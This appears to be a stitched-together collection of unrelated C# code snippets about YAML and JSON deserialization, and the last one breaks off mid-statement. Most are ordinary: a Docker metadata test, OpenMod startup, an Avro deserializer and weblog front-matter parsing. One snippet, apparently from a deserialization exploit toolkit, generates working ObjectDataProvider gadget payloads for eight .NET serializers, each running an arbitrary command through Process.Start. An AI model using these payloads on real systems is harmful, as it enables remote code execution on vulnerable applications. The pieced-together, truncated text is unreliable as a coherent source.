public IConfig Deserialize(string config, Type type) { using (var reader = new StringReader(config)) { var deserializer = new DeserializerBuilder() .WithNamingConvention(new NullNamingConvention()) .IgnoreUnmatchedProperties() .WithTypeConverter(new VersionConverter()) .Build(); return (IConfig)deserializer.Deserialize(reader, type); } }
public void DuplicatedPlatform() { using TempFolderContext tempFolderContext = TestHelper.UseTempFolder(); const string SourceRepoUrl = "https://www.github.com/dotnet/dotnet-docker"; const string RepoName = "repo"; const string SourceBranch = "branch"; // Create MCR tags metadata template file StringBuilder tagsMetadataTemplateBuilder = new StringBuilder(); tagsMetadataTemplateBuilder.AppendLine($"$(McrTagsYmlRepo:{RepoName})"); tagsMetadataTemplateBuilder.AppendLine($"$(McrTagsYmlTagGroup:concreteTagA)"); string tagsMetadataTemplatePath = Path.Combine(tempFolderContext.Path, "tags.yaml"); File.WriteAllText(tagsMetadataTemplatePath, tagsMetadataTemplateBuilder.ToString()); string emptyFileName = "emptyFile.md"; string emptyFilePath = Path.Combine(tempFolderContext.Path, emptyFileName); File.WriteAllText(emptyFilePath, string.Empty); // Create manifest Manifest manifest = ManifestHelper.CreateManifest( ManifestHelper.CreateRepo(RepoName, new Image[] { ManifestHelper.CreateImage( new Platform[] { ManifestHelper.CreatePlatform( DockerfileHelper.CreateDockerfile($"1.0/{RepoName}/os", tempFolderContext), new string[] { "concreteTagZ", "concreteTagA" }) }, sharedTags: new Dictionary <string, Tag> { { "shared1", new Tag() }, { "latest", new Tag() }, }), ManifestHelper.CreateImage( new Platform[] { ManifestHelper.CreatePlatform( DockerfileHelper.CreateDockerfile($"1.0/{RepoName}/os", tempFolderContext), Array.Empty <string>()) }, sharedTags: new Dictionary <string, Tag> { { "shared2", new Tag() } }) }, readme: emptyFileName, readmeTemplate: emptyFileName, mcrTagsMetadataTemplate: Path.GetFileName(tagsMetadataTemplatePath)) ); string manifestPath = Path.Combine(tempFolderContext.Path, "manifest.json"); File.WriteAllText(manifestPath, JsonConvert.SerializeObject(manifest)); // Load manifest IManifestOptionsInfo manifestOptions = ManifestHelper.GetManifestOptions(manifestPath); ManifestInfo manifestInfo = ManifestInfo.Load(manifestOptions); RepoInfo repo = manifestInfo.AllRepos.First(); Mock <IGitService> gitServiceMock = new Mock <IGitService>(); // Execute generator string result = McrTagsMetadataGenerator.Execute( gitServiceMock.Object, manifestInfo, repo, SourceRepoUrl, SourceBranch); TagsMetadata tagsMetadata = new DeserializerBuilder() .WithNamingConvention(CamelCaseNamingConvention.Instance) .Build() .Deserialize <TagsMetadata>(result); // Verify the output only contains the platform with the documented tag Assert.Single(tagsMetadata.Repos[0].TagGroups); Assert.Equal( $"{SourceRepoUrl}/blob/{SourceBranch}/1.0/{RepoName}/os/Dockerfile", tagsMetadata.Repos[0].TagGroups[0].Dockerfile); List <string> expectedTags = new List <string> { "concreteTagZ", "concreteTagA", "shared2", "shared1", "latest" }; Assert.Equal(expectedTags, tagsMetadata.Repos[0].TagGroups[0].Tags); }
public override object Generate(string cmd, string formatter, Boolean test, Boolean minify) { if (formatter.ToLower().Equals("xaml")) { ProcessStartInfo psi = new ProcessStartInfo(); Boolean hasArgs; string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, out hasArgs); psi.FileName = splittedCMD[0]; if (hasArgs) { psi.Arguments = splittedCMD[1]; } StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); Process p = new Process(); p.StartInfo = psi; ObjectDataProvider odp = new ObjectDataProvider(); odp.MethodName = "Start"; odp.IsInitialLoadEnabled = false; odp.ObjectInstance = p; string payload = XamlWriter.Save(odp); if (minify) { // using discardable regex array to make it shorter! payload = Helpers.XMLMinifier.Minify(payload, null, new String[] { @"StandardErrorEncoding=.*LoadUserProfile=""False"" ", @"IsInitialLoadEnabled=""False"" " }); } if (test) { try { StringReader stringReader = new StringReader(payload); XmlReader xmlReader = XmlReader.Create(stringReader); XamlReader.Load(xmlReader); } catch { } } return(payload); } if (formatter.ToLower().Equals("json.net")) { Boolean hasArgs; string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.JSON, out hasArgs); if (hasArgs) { cmd = "'" + splittedCMD[0] + "', '" + splittedCMD[1] + "'"; } else { cmd = "'" + splittedCMD[0] + "'"; } String payload = @"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':[" + cmd + @"] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }"; if (minify) { payload = Helpers.JSONMinifier.Minify(payload, new String[] { "PresentationFramework", "mscorlib", "System" }, null); } if (test) { try { Object obj = JsonConvert.DeserializeObject <Object>(payload, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto });; } catch { } } return(payload); } else if (formatter.ToLower().Equals("fastjson")) { Boolean hasArgs; string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.JSON, out hasArgs); String cmdPart; if (hasArgs) { cmdPart = @"""FileName"":""" + splittedCMD[0] + @""",""Arguments"":""" + splittedCMD[1] + @""""; } else { cmdPart = @"""FileName"":""" + splittedCMD[0] + @""""; } String payload = @"{ ""$types"":{ ""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35"":""1"", ""System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""2"", ""System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""3"" }, ""$type"":""1"", ""ObjectInstance"":{ ""$type"":""2"", ""StartInfo"":{ ""$type"":""3"", " + cmdPart + @" } }, ""MethodName"":""Start"" }"; if (minify) { payload = Helpers.JSONMinifier.Minify(payload, null, null); } if (test) { try { var instance = JSON.ToObject <Object>(payload); } catch { } } return(payload); } else if (formatter.ToLower().Equals("javascriptserializer")) { Boolean hasArgs; string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.JSON, out hasArgs); String cmdPart; if (hasArgs) { cmdPart = "'FileName':'" + splittedCMD[0] + "', 'Arguments':'" + splittedCMD[1] + "'"; } else { cmdPart = "'FileName':'" + splittedCMD[0] + "'"; } String payload = @"{ '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'ObjectInstance':{ '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'StartInfo': { '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', " + cmdPart + @" } } }"; if (minify) { payload = Helpers.JSONMinifier.Minify(payload, null, null); } if (test) { try { JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver()); var json_req = jss.Deserialize <Object>(payload); } catch { } } return(payload); } else if (formatter.ToLower().Equals("xmlserializer")) { Boolean hasArgs; string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.XML, out hasArgs); String cmdPart; if (hasArgs) { cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{splittedCMD[0]}</b:String><b:String>{splittedCMD[1]}</b:String>"; } else { cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{splittedCMD[0]}</b:String>"; } String payload = $@"<?xml version=""1.0""?> <root type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""> <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" > <ExpandedElement/> <ProjectedProperty0> <MethodName>Parse</MethodName> <MethodParameters> <anyType xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xsi:type=""xsd:string""> <![CDATA[<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""><ObjectDataProvider d:Key="""" ObjectType=""{{d:Type c:Process}}"" MethodName=""Start"">{cmdPart}</ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]> </anyType> </MethodParameters> <ObjectInstance xsi:type=""XamlReader""></ObjectInstance> </ProjectedProperty0> </ExpandedWrapperOfXamlReaderObjectDataProvider> </root> "; if (minify) { payload = Helpers.XMLMinifier.Minify(payload, null, null); } if (test) { try { var xmlDoc = new XmlDocument(); xmlDoc.LoadXml(payload); XmlElement xmlItem = (XmlElement)xmlDoc.SelectSingleNode("root"); var s = new XmlSerializer(Type.GetType(xmlItem.GetAttribute("type"))); var d = s.Deserialize(new XmlTextReader(new StringReader(xmlItem.InnerXml))); } catch { } } return(payload); } else if (formatter.ToLower().Equals("datacontractserializer")) { Boolean hasArgs; string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.XML, out hasArgs); String cmdPart; if (hasArgs) { cmdPart = $@"<b:anyType i:type=""c:string"">" + splittedCMD[0] + @"</b:anyType> <b:anyType i:type=""c:string"">" + splittedCMD[1] + "</b:anyType>"; } else { cmdPart = $@"<b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">" + splittedCMD[0] + @"</b:anyType>"; } String payload = $@"<?xml version=""1.0""?> <root type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""> <ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"" xmlns:c=""http://www.w3.org/2001/XMLSchema"" xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/""> <ExpandedElement z:Id=""ref1"" xmlns:a=""http://schemas.datacontract.org/2004/07/System.Diagnostics""> <__identity i:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/> </ExpandedElement> <ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data""> <a:MethodName>Start</a:MethodName> <a:MethodParameters xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/Arrays""> " + cmdPart + @" </a:MethodParameters> <a:ObjectInstance z:Ref=""ref1""/> </ProjectedProperty0> </ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL> </root> "; if (minify) { payload = Helpers.XMLMinifier.Minify(payload, null, null, Helpers.FormatterType.DataContractXML); } if (test) { try { var xmlDoc = new XmlDocument(); xmlDoc.LoadXml(payload); XmlElement xmlItem = (XmlElement)xmlDoc.SelectSingleNode("root"); var s = new DataContractSerializer(Type.GetType(xmlItem.GetAttribute("type"))); var d = s.ReadObject(new XmlTextReader(new StringReader(xmlItem.InnerXml))); } catch { } } return(payload); } else if (formatter.ToLower().Equals("yamldotnet")) { Boolean hasArgs; string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.YamlDotNet, out hasArgs); String cmdPart; if (hasArgs) { cmdPart = $@"FileName: " + splittedCMD[0] + @", Arguments: " + splittedCMD[1]; } else { cmdPart = $@"FileName: " + splittedCMD[0]; } String payload = @" !<!System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35> { MethodName: Start, ObjectInstance: !<!System.Diagnostics.Process,System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089> { StartInfo: !<!System.Diagnostics.ProcessStartInfo,System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089> { " + cmdPart + @" } } }"; if (minify) { payload = Helpers.YamlDocumentMinifier.Minify(payload); } if (test) { try { //to bypass all of the vulnerable version's type checking, we need to set up a stream using (var reader = new StreamReader(new MemoryStream(System.Text.Encoding.UTF8.GetBytes(payload)))) { var deserializer = new DeserializerBuilder().Build(); var result = deserializer.Deserialize(reader); } } catch { } } return(payload); } else if (formatter.ToLower().Equals("fspickler")) { Boolean hasArgs; string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, Helpers.CommandArgSplitter.CommandType.XML, out hasArgs); String cmdPart; if (hasArgs) { cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{splittedCMD[0]}</b:String><b:String>{splittedCMD[1]}</b:String>"; } else { cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{splittedCMD[0]}</b:String>"; } String internalPayload = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""><ObjectDataProvider d:Key="""" ObjectType=""{d:Type c:Process}"" MethodName=""Start"">" + cmdPart + @"</ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>"; internalPayload = Helpers.CommandArgSplitter.JsonString(internalPayload); String payload = @"{ ""FsPickler"": ""4.0.0"", ""type"": ""System.Object"", ""value"": { ""_flags"": ""subtype"", ""subtype"": { ""Case"": ""NamedType"", ""Name"": ""Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties"", ""Assembly"": { ""Name"": ""Microsoft.PowerShell.Editor"", ""Version"": ""3.0.0.0"", ""Culture"": ""neutral"", ""PublicKeyToken"": ""31bf3856ad364e35"" } }, ""instance"": { ""serializationEntries"": [ { ""Name"": ""ForegroundBrush"", ""Type"": { ""Case"": ""NamedType"", ""Name"": ""System.String"", ""Assembly"": { ""Name"": ""mscorlib"", ""Version"": ""4.0.0.0"", ""Culture"": ""neutral"", ""PublicKeyToken"": ""b77a5c561934e089"" } }, ""Value"": """ + internalPayload + @""" } ] } } }"; if (minify) { payload = Helpers.JSONMinifier.Minify(payload, null, null); } if (test) { try { var serializer = MBrace.CsPickler.CsPickler.CreateJsonSerializer(true); serializer.UnPickleOfString <Object>(payload); } catch { } } return(payload); } else { throw new Exception("Formatter not supported"); } }
public static IDeserializer GetDeserializer() { IDeserializer deserializer = new DeserializerBuilder().WithNodeDeserializer(inner => new ValidatingNodeDeserializer(inner), s => s.InsteadOf <ObjectNodeDeserializer>()).Build(); return(deserializer); }
public async Task <IHost> InitAsync( List <Assembly> openModHostAssemblies, RuntimeInitParameters parameters, Func <IHostBuilder>?hostBuilderFunc = null) { if (openModHostAssemblies == null) { throw new ArgumentNullException(nameof(openModHostAssemblies)); } if (parameters == null) { throw new ArgumentNullException(nameof(parameters)); } try { IsDisposing = false; var openModCoreAssembly = typeof(AsyncHelper).Assembly; if (!openModHostAssemblies.Contains(openModCoreAssembly)) { openModHostAssemblies.Insert(0, openModCoreAssembly); } var hostInformationType = openModHostAssemblies .Select(asm => asm.GetLoadableTypes().FirstOrDefault(t => typeof(IHostInformation).IsAssignableFrom(t))) .LastOrDefault(d => d != null); if (hostInformationType == null) { throw new Exception("Failed to find IHostInformation in host assemblies."); } HostInformation = (IHostInformation)Activator.CreateInstance(hostInformationType); m_OpenModHostAssemblies = openModHostAssemblies; m_HostBuilderFunc = hostBuilderFunc; m_RuntimeInitParameters = parameters; var hostBuilder = hostBuilderFunc == null ? new HostBuilder() : hostBuilderFunc(); if (!Directory.Exists(parameters.WorkingDirectory)) { Directory.CreateDirectory(parameters.WorkingDirectory); } Status = RuntimeStatus.Initializing; WorkingDirectory = parameters.WorkingDirectory; CommandlineArgs = parameters.CommandlineArgs; SetupSerilog(); m_Logger.LogInformation($"OpenMod v{Version} is starting..."); if (parameters.PackageManager is not NuGetPackageManager nugetPackageManager) { var packagesDirectory = Path.Combine(WorkingDirectory, "packages"); nugetPackageManager = new NuGetPackageManager(packagesDirectory) { Logger = new OpenModNuGetLogger(m_LoggerFactory !.CreateLogger("NuGet")) }; } nugetPackageManager.Logger = new OpenModNuGetLogger(m_LoggerFactory !.CreateLogger("NuGet")); await nugetPackageManager.RemoveOutdatedPackagesAsync(); nugetPackageManager.InstallAssemblyResolver(); nugetPackageManager.SetAssemblyLoader(Hotloader.LoadAssembly); var startupContext = new OpenModStartupContext { Runtime = this, LoggerFactory = m_LoggerFactory !, NuGetPackageManager = nugetPackageManager, DataStore = new Dictionary <string, object>() }; var startup = new OpenModStartup(startupContext); startupContext.OpenModStartup = startup; foreach (var assembly in openModHostAssemblies) { startup.RegisterIocAssemblyAndCopyResources(assembly, string.Empty); } var configFile = Path.Combine(WorkingDirectory, "openmod.yaml"); if (File.Exists(configFile)) { var yaml = File.ReadAllText(configFile); var deserializer = new DeserializerBuilder() .WithTypeConverter(new YamlNullableEnumTypeConverter()) .WithNamingConvention(CamelCaseNamingConvention.Instance) .Build(); var config = deserializer.Deserialize <Dictionary <string, object> >(yaml); var hotReloadingEnabled = true; if (config.TryGetValue("hotreloading", out var unparsed)) { switch (unparsed) { case bool value: hotReloadingEnabled = value; break; case string strValue when bool.TryParse(strValue, out var parsed): hotReloadingEnabled = parsed; break; default: m_Logger.LogWarning("Unknown config for 'hotreloading' in OpenMod configuration: " + unparsed); break; } } Hotloader.Enabled = hotReloadingEnabled; } await nugetPackageManager.InstallMissingPackagesAsync(updateExisting : true); await startup.LoadPluginAssembliesAsync(); hostBuilder .UseContentRoot(parameters.WorkingDirectory) .UseServiceProviderFactory(new AutofacServiceProviderFactory()) .ConfigureHostConfiguration(builder => { ConfigureConfiguration(builder, startup); ((OpenModStartupContext)startup.Context).Configuration = builder.Build(); }) .ConfigureAppConfiguration(builder => ConfigureConfiguration(builder, startup)) .ConfigureContainer <ContainerBuilder>(builder => SetupContainer(builder, startup)) .ConfigureServices(services => SetupServices(services, startup)) .UseSerilog(); Host = hostBuilder.Build(); m_AppLifeTime = Host.Services.GetRequiredService <IHostApplicationLifetime>(); m_AppLifeTime.ApplicationStopping.Register(() => { AsyncHelper.RunSync(ShutdownAsync); }); Status = RuntimeStatus.Initialized; LifetimeScope = Host.Services.GetRequiredService <ILifetimeScope>().BeginLifetimeScopeEx( containerBuilder => { containerBuilder.Register(_ => this) .As <IOpenModComponent>() .SingleInstance() .ExternallyOwned(); containerBuilder.RegisterType <ScopedPermissionChecker>() .As <IPermissionChecker>() .InstancePerLifetimeScope() .OwnedByLifetimeScope(); }); DataStore = Host.Services.GetRequiredService <IDataStoreFactory>().CreateDataStore( new DataStoreCreationParameters { Component = this, Prefix = "openmod", Suffix = null, WorkingDirectory = WorkingDirectory }); var openModHost = Host.Services.GetRequiredService <IOpenModHost>(); var eventBus = Host.Services.GetRequiredService <IEventBus>(); foreach (var assembly in openModHostAssemblies) { eventBus.Subscribe(openModHost, assembly); } try { await Host.StartAsync(); } catch (Exception ex) { Status = RuntimeStatus.Crashed; m_Logger.LogCritical(ex, "OpenMod has crashed."); Log.CloseAndFlush(); } return(Host); } catch (Exception ex) { Console.WriteLine(ex); throw; } }
/// <summary> /// Builds a <see cref="JsonDeserializer{T}" /> for a <see cref="RecordSchema" />. /// </summary> /// <returns> /// A successful <see cref="JsonDeserializerBuilderCaseResult" /> if <paramref name="type" /> /// is not an array or primitive type and <paramref name="schema" /> is a <see cref="RecordSchema" />; /// an unsuccessful <see cref="JsonDeserializerBuilderCaseResult" /> otherwise. /// </returns> /// <inheritdoc /> public virtual JsonDeserializerBuilderCaseResult BuildExpression(Type type, Schema schema, JsonDeserializerBuilderContext context) { if (schema is RecordSchema recordSchema) { var underlying = Nullable.GetUnderlyingType(type) ?? type; if (!underlying.IsArray && !underlying.IsPrimitive) { // since record deserialization is potentially recursive, create a top-level // reference: var parameter = Expression.Parameter( Expression.GetDelegateType(context.Reader.Type.MakeByRefType(), type)); if (!context.References.TryGetValue((recordSchema, type), out var reference)) { context.References.Add((recordSchema, type), reference = parameter); } // then build/set the delegate if it hasn’t been built yet: if (parameter == reference) { Expression expression; var loop = Expression.Label(); var tokenType = typeof(Utf8JsonReader) .GetProperty(nameof(Utf8JsonReader.TokenType)); var getUnexpectedTokenException = typeof(JsonExceptionHelper) .GetMethod(nameof(JsonExceptionHelper.GetUnexpectedTokenException)); var read = typeof(Utf8JsonReader) .GetMethod(nameof(Utf8JsonReader.Read), Type.EmptyTypes); var getString = typeof(Utf8JsonReader) .GetMethod(nameof(Utf8JsonReader.GetString), Type.EmptyTypes); var getUnknownRecordFieldException = typeof(JsonExceptionHelper) .GetMethod(nameof(JsonExceptionHelper.GetUnknownRecordFieldException)); if (GetRecordConstructor(underlying, recordSchema) is ConstructorInfo constructor) { var parameters = constructor.GetParameters(); // map constructor parameters to fields: var mapping = recordSchema.Fields .Select(field => { // there will be a match or we wouldn’t have made it this far: var match = parameters.Single(parameter => IsMatch(field, parameter.Name)); var parameter = Expression.Parameter(match.ParameterType); return( Field: field, Match: match, Parameter: parameter, Assignment: (Expression)Expression.Block( Expression.Call(context.Reader, read), Expression.Assign( parameter, DeserializerBuilder.BuildExpression(match.ParameterType, field.Type, context)))); }) .ToDictionary(r => r.Match); expression = Expression.Block( mapping .Select(d => d.Value.Parameter), Expression.IfThen( Expression.NotEqual( Expression.Property(context.Reader, tokenType), Expression.Constant(JsonTokenType.StartObject)), Expression.Throw( Expression.Call( null, getUnexpectedTokenException, context.Reader, Expression.Constant(new[] { JsonTokenType.StartObject })))), Expression.Loop( Expression.Block( Expression.Call(context.Reader, read), Expression.IfThen( Expression.Equal( Expression.Property(context.Reader, tokenType), Expression.Constant(JsonTokenType.EndObject)), Expression.Break(loop)), Expression.Switch( Expression.Call(context.Reader, getString), Expression.Throw( Expression.Call( null, getUnknownRecordFieldException, context.Reader)), mapping .Select(pair => Expression.SwitchCase( Expression.Block(pair.Value.Assignment, Expression.Empty()), Expression.Constant(pair.Value.Field.Name))) .ToArray())), loop), Expression.New( constructor, parameters .Select(parameter => mapping.ContainsKey(parameter) ? (Expression)mapping[parameter].Parameter : Expression.Constant(parameter.DefaultValue)))); } else { var members = underlying.GetMembers(MemberVisibility); // support dynamic deserialization: var value = Expression.Parameter( underlying.IsAssignableFrom(typeof(ExpandoObject)) ? typeof(ExpandoObject) : underlying); expression = Expression.Block( new[] { value }, Expression.Assign(value, Expression.New(value.Type)), Expression.IfThen( Expression.NotEqual( Expression.Property(context.Reader, tokenType), Expression.Constant(JsonTokenType.StartObject)), Expression.Throw( Expression.Call( null, getUnexpectedTokenException, context.Reader, Expression.Constant(new[] { JsonTokenType.StartObject })))), Expression.Loop( Expression.Block( Expression.Call(context.Reader, read), Expression.IfThen( Expression.Equal( Expression.Property(context.Reader, tokenType), Expression.Constant(JsonTokenType.EndObject)), Expression.Break(loop)), Expression.Switch( Expression.Call(context.Reader, getString), Expression.Throw( Expression.Call( null, getUnknownRecordFieldException, context.Reader)), recordSchema.Fields .Select(field => { var match = members.SingleOrDefault(member => IsMatch(field, member)); Expression expression; if (match == null) { // always deserialize fields to advance the reader: expression = DeserializerBuilder.BuildExpression(typeof(object), field.Type, context); // fall back to a dynamic setter if the value supports it: if (typeof(IDynamicMetaObjectProvider).IsAssignableFrom(value.Type)) { var flags = CSharpBinderFlags.None; var infos = new[] { CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null) }; var binder = Binder.SetMember(flags, field.Name, value.Type, infos); expression = Expression.Dynamic(binder, typeof(void), value, expression); } } else { Expression inner; try { inner = DeserializerBuilder.BuildExpression( match switch { FieldInfo fieldMatch => fieldMatch.FieldType, PropertyInfo propertyMatch => propertyMatch.PropertyType, MemberInfo unknown => throw new InvalidOperationException($"Record fields can only be mapped to fields and properties."), }, field.Type, context); } catch (Exception exception) { throw new UnsupportedTypeException(type, $"The {match.Name} member on {type} could not be mapped to the {field.Name} field on {recordSchema.FullName}.", exception); } expression = Expression.Assign( Expression.PropertyOrField(value, match.Name), inner); } return(Expression.SwitchCase( Expression.Block( Expression.Call(context.Reader, read), expression, Expression.Empty()), Expression.Constant(field.Name))); })
/// <summary> /// Strips the Markdown Meta data from the message and populates /// the post structure with the meta data values. /// </summary> /// <param name="markdown"></param> /// <param name="post"></param> /// <param name="weblogInfo"></param> public static WeblogPostMetadata GetPostYamlConfigFromMarkdown(string markdown, Post post, WeblogInfo weblogInfo) { var meta = new WeblogPostMetadata() { RawMarkdownBody = markdown, MarkdownBody = markdown, WeblogName = WeblogAddinConfiguration.Current.LastWeblogAccessed, CustomFields = new Dictionary <string, CustomField>() }; if (string.IsNullOrEmpty(markdown)) { return(meta); } markdown = markdown.Trim(); if (!markdown.StartsWith("---\n") && !markdown.StartsWith("---\r")) { return(meta); } string extractedYaml = null; //var match = YamlExtractionRegex.Match(markdown); var match = MarkdownUtilities.YamlExtractionRegex.Match(markdown); if (match.Success) { extractedYaml = match.Value; } //var extractedYaml = StringUtils.ExtractString(markdown.TrimStart(), "---\n", "\n---\n",returnDelimiters: true); if (string.IsNullOrEmpty(extractedYaml)) { return(meta); } var yaml = StringUtils.ExtractString(markdown, "---", "\n---", returnDelimiters: false).Trim(); var input = new StringReader(yaml); var deserializer = new DeserializerBuilder() .IgnoreUnmatchedProperties() .WithNamingConvention(new CamelCaseNamingConvention()) .Build(); WeblogPostMetadata yamlMeta = null; try { yamlMeta = deserializer.Deserialize <WeblogPostMetadata>(input); } catch { return(meta); } if (yamlMeta == null) { return(meta); } if (meta.CustomFields == null) { meta.CustomFields = new Dictionary <string, CustomField>(); } meta = yamlMeta; meta.MarkdownBody = markdown.Replace(extractedYaml, ""); meta.RawMarkdownBody = markdown; post.Title = meta.Title; if (!string.IsNullOrEmpty(meta.Categories)) { post.Categories = meta.Categories.Split(new[] { ',' }, StringSplitOptions.RemoveEmptyEntries); for (int i = 0; i < post.Categories.Length; i++) { post.Categories[i] = post.Categories[i].Trim(); } } if (!string.IsNullOrEmpty(meta.Keywords)) { post.Tags = meta.Keywords.Split(new[] { ',' }, StringSplitOptions.RemoveEmptyEntries); for (int i = 0; i < post.Tags.Length; i++) { post.Tags[i] = post.Tags[i].Trim(); } } post.Permalink = meta.Permalink; post.DateCreated = meta.PostDate; if (post.DateCreated < new DateTime(2000, 1, 1)) { post.DateCreated = DateTime.Now; } post.mt_excerpt = meta.Abstract; post.mt_keywords = meta.Keywords; if (meta.CustomFields != null) { post.CustomFields = meta.CustomFields.Values.ToArray(); } return(meta); }
public static async Task <IActionResult> RunAsync( [HttpTrigger(AuthorizationLevel.Anonymous, "get", "post", Route = null)] HttpRequest request, [Blob("locks/" + nameof(GenerateMissingTwitterCards), Connection = "AzureWebJobsStorage")] ICloudBlob lockBlob, ILogger log, ExecutionContext context) { // Lock present? string lockIdentifier = null; if (!await lockBlob.ExistsAsync()) { await lockBlob.UploadFromByteArrayAsync(new byte[1], 0, 1); } try { lockIdentifier = await lockBlob.AcquireLeaseAsync(TimeSpan.FromMinutes(1)); } catch (StorageException ex) when(ex.RequestInformation?.HttpStatusCode == (int)HttpStatusCode.Conflict || ex.RequestInformation?.HttpStatusCode == (int)HttpStatusCode.PreconditionFailed) { return(new OkObjectResult("Could not acquire lock, skipping execution.")); } // Read configuration var configuration = new ConfigurationBuilder() .SetBasePath(context.FunctionAppDirectory) .AddJsonFile("local.settings.json", optional: true, reloadOnChange: true) .AddEnvironmentVariables() .Build(); // Defaults var cardStyle = CardStyle.DarkWithBackgroundImage; var cardWidth = 876; var cardHeight = 438; var textPadding = 25; var shadowOffset = 10; var titleSize = 42; var authorSize = 28; var titleLocation = cardStyle == CardStyle.Light ? new PointF(textPadding, cardHeight / 3) : new PointF(textPadding, cardHeight / 3.6f); var authorLocation = cardStyle == CardStyle.Light ? new PointF(textPadding, cardHeight / 3 + authorSize) : new PointF(textPadding, cardHeight / 4 + authorSize * 2); var font = Environment.OSVersion.Platform == PlatformID.Unix ? SystemFonts.Find("DejaVu Sans") : SystemFonts.Find("Segoe UI"); var yamlDeserializer = new DeserializerBuilder() .WithNamingConvention(CamelCaseNamingConvention.Instance) .IgnoreUnmatchedProperties() .Build(); // Create the Octokit client var github = new GitHubClient(new ProductHeaderValue("PostCommentToPullRequest"), new Octokit.Internal.InMemoryCredentialStore(new Credentials(configuration["GitHubToken"]))); // Get all contents from our repo var repoOwnerName = configuration["PullRequestRepository"].Split('/'); var repo = await github.Repository.Get(repoOwnerName[0], repoOwnerName[1]); var defaultBranch = await github.Repository.Branch.Get(repo.Id, repo.DefaultBranch); var repoContentsPosts = await github.Repository.Content.GetAllContents(repoOwnerName[0], repoOwnerName[1], "_posts"); var repoContentsCards = await 